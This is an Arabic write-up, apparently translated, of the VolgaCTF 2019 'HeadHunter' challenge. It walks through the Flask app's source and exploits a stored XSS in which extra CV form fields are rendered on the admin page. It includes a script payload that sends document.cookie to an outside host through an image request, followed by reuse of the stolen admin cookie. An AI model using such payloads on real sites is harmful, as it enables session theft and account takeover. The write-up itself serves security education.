تصفيات Volga CTF 2019: HeadHunter Quest

مرحبا! من 29 إلى 31 مارس أقيمت الجولة التأهيلية VolgaCTF .

أعد المنظمون عددًا كبيرًا من المهام في فئات مختلفة (بالمناسبة ، بما في ذلك المهمة الجديدة - مهام وهمية ، لإيجاد التضليل).

الهدف من وظيفة HeadHunter ، مثل أي شخص آخر ، هو الحصول على مفتاح سري. في البداية ، نحصل على ملف WEB.py ورابط إلى الموقع.



بحث الضعف


على الفور اتبع الرابط ، نرى رسالة ترحيب. نحن نسجل. في علامة تبويب المهنة ، نلاحظ شكلًا من عدة حقول: أدخل أي معلومات وحاول الإرسال. تم إرسال النموذج بنجاح ، وفي علامة التبويب قائمة الطلبات الخاصة بي نرى طلبنا معلقًا. بعد بضع ثوانٍ ، تتغير حالتها إلى "معروضة": ألق نظرة على الملف المرفق.









WEB.py
def create_app(test_config=None):
    app = Flask(__name__)
    app.config.from_mapping(test_config)

    # a simple page that says hello
    @app.route('/home', methods=['GET'])
    def home():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return render_template('home_admin.html', flag=FLAG)
                else:
                    return render_template('home.html', cvs_list=db_get_user_cv(session['username']))
            else:
                session.pop('username', None)
                session.pop('token', None)
        else:
            return redirect(url_for('main'))


    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
    def work_cv(cvid):
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    db_check_cv(cvid)
                    cv_work = db_get_cv(cvid)
                    if cv:
                        cv_data = []
                        k = cv_work.keys()
                        for key in k:
                            temp = {"key": key, "value": cv_work[key]}
                            cv_data.append(temp)
                        return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.route("/cv_list", methods=['GET', 'DELETE'])
    def cv_list():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    # TODO
                    return render_template('all_cvs.html', cvs_list=db_get_new_cv())
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.route('/login', methods=['GET', 'POST'])
    def login():
        if 'token' in session:
            return redirect(url_for('home'))
        if request.method == 'GET':
            return render_template('login.html')
        else:
            u_login = request.form.get('login')
            u_password = request.form.get('password')
            if u_login and u_password:
                user = db_find_user(u_login, u_password)
                if user:
                    session['username'] = u_login
                    session['token'] = token_generator()
                    db_update_user_token(u_login, u_password, session['token'])
                    return redirect(url_for('home'))

        session['last_error'] = "Username or password wrong :("
        session['last_url'] = "/login"
        return redirect(url_for('error'))

    @app.route('/', methods=['GET'])
    def main():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                return render_template('main_auth.html')
            else:
                session.pop('username', None)
                session.pop('token', None)
        else:
            return render_template('main.html')

    @app.route('/registration', methods=['GET', 'POST'])
    def registration():
        if 'token' in session:
            return redirect(url_for('home'))
        if request.method == 'GET':
            return render_template('registration.html')
        else:
            u_login = request.form.get('username')
            u_password = request.form.get('password')
            if u_login and u_password:
                user = db_find_user(u_login, u_password)
                if user:
                    session['last_error'] = "User already exist :("
                    session['last_url'] = "/registration"
                    return redirect(url_for('error'))
                else:
                    session['username'] = u_login
                    session['token'] = token_generator()
                    db_add_user(u_login, u_password, session['token'])
                    return redirect(url_for('home'))
            return redirect(url_for('error'))

    @app.route('/logout', methods=['GET'])
    def logout():
        session.pop('username', None)
        session.pop('token', None)
        return redirect(url_for('main'))

    @app.route('/error', methods=['GET'])
    def error():
        if 'last_error' in session and 'last_url' in session:
            if 'token' in session:
                session['username'] = check_token(session['token'])
                if 'username' in session:
                    return render_template('error_auth.html', error=session['last_error'], back_url=session['last_url'])
                else:
                    session.pop('username', None)
                    session.pop('token', None)
            else:
                return render_template('error.html', error=session['last_error'], back_url=session['last_url'])
        else:
            return render_template('error.html')

    @app.route('/cv', methods=['GET', 'POST'])
    def cv():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                if request.method == 'GET':
                    return render_template('cv.html')
                else:
                    cv_firstname = request.form.get('firstname')
                    cv_lastname = request.form.get('lastname')
                    cv_email = request.form.get('email')
                    cv_phone = request.form.get('phone')
                    cv_message = request.form.get('message')
                    if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
                        cv = request.form.to_dict()
                        cv['user'] = session['username']
                        cv['status'] = 'Wait'
                        cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        if db_count_user_cv(cv['user']) > 9:
                            session['last_error'] = "Maximum of request reached :("
                            session['last_url'] = "/home"
                            return redirect(url_for('error'))
                        db_add_cv(cv)
                        return redirect(url_for('home'))
                    else:
                        session['last_error'] = "The request is not correct :("
                        session['last_url'] = "/cv"
                        return redirect(url_for('error'))
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

    @app.errorhandler(404)
    def page_not_found(e):
        return render_template('error.html', error="404: Page not found!", back_url="/"), 404

    return app

حاول على الفور العثور على الرمز الذي يعالج النموذج المقدم:
@app.route('/cv', methods=['GET', 'POST'])
    def cv():
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    return redirect(url_for('home'))
                if request.method == 'GET':
                    return render_template('cv.html')
                else:
                    cv_firstname = request.form.get('firstname')
                    cv_lastname = request.form.get('lastname')
                    cv_email = request.form.get('email')
                    cv_phone = request.form.get('phone')
                    cv_message = request.form.get('message')
                    if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
                        cv = request.form.to_dict()
                        cv['user'] = session['username']
                        cv['status'] = 'Wait'
                        cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                        if db_count_user_cv(cv['user']) > 9:
                            session['last_error'] = "Maximum of request reached :("
                            session['last_url'] = "/home"
                            return redirect(url_for('error'))
                        db_add_cv(cv)
                        return redirect(url_for('home'))
                    else:
                        session['last_error'] = "The request is not correct :("
                        session['last_url'] = "/cv"
                        return redirect(url_for('error'))
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

يؤدي استدعاء request.form.to_dict () إلى إجراء تسلسل للنموذج وبعد "التحقق من الصحة" وتعديل صغير لـ db_add_cv (cv) حفظ جميع البيانات المرفقة بالنموذج .
علاوة على ذلك ، عندما يفتح المشرف الافتراضي التطبيق ، يتم منحه أيضًا كل ما تمكّن الأشخاص السيئون من تحميله إلى قاعدة البيانات:

    @app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
    def work_cv(cvid):
        if 'token' in session:
            session['username'] = check_token(session['token'])
            if 'username' in session:
                if session['username'] == 'admin':
                    db_check_cv(cvid)
                    cv_work = db_get_cv(cvid)
                    if cv:
                        cv_data = []
                        k = cv_work.keys()
                        for key in k:
                            temp = {"key": key, "value": cv_work[key]}
                            cv_data.append(temp)
                        return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
            session.pop('username', None)
            session.pop('token', None)
        return redirect(url_for('main'))

يتلقى db_get_cv (cvid) البيانات من قاعدة البيانات وبعد التعديل الهيكلي الصغير يعطي جميع البيانات إلى القالب.

هجوم


يوحي هذا المزيج من الحقائق بأفكار حول ثغرة XSS محتملة .
نحن نحاول تنفيذ هجوم نموذجي وسرقة ملفات تعريف الارتباط باستخدام Image src لتجاوز قيود النطاق:

<script language="javascript">
    var img = new Image();
    img.src = 'example.com?' + document.cookie;
    document.body.appendChild(img);
</script>

نفترض أنه لا توجد حماية وأن نص الرسالة مضمن في DOM دون أي تدقيق. في هذه الحالة ، سيبدأ تنفيذ الرمز الموجود داخل علامة البرنامج النصي. سينشئ عنصرًا (صورة) ويعينه مصدرًا ، وبعد ذلك سيضيف عنصرًا إلى DOM. سيؤدي هذا بدوره إلى إجبار المتصفح على محاولة تنزيله عن طريق تقديم طلب إلى خادمنا.

الآن فقط أدرج في الطلب مع النموذج حقلًا إضافيًا مع نصنا ، أرسل وانتظر. تتغير الحالة إلى "معروضة" ، ويأتي الطلب مع ملفات تعريف الارتباط في معلمة الاستعلام إلى الخادم.

تبقى الخطوة الأخيرة - نأخذ ملفات تعريف الارتباط ، ونضعها على الموقع ، ونحدث الصفحة ونحصل على المفتاح: تم حل المهمة.



Source: https://habr.com/ru/post/undefined/


All Articles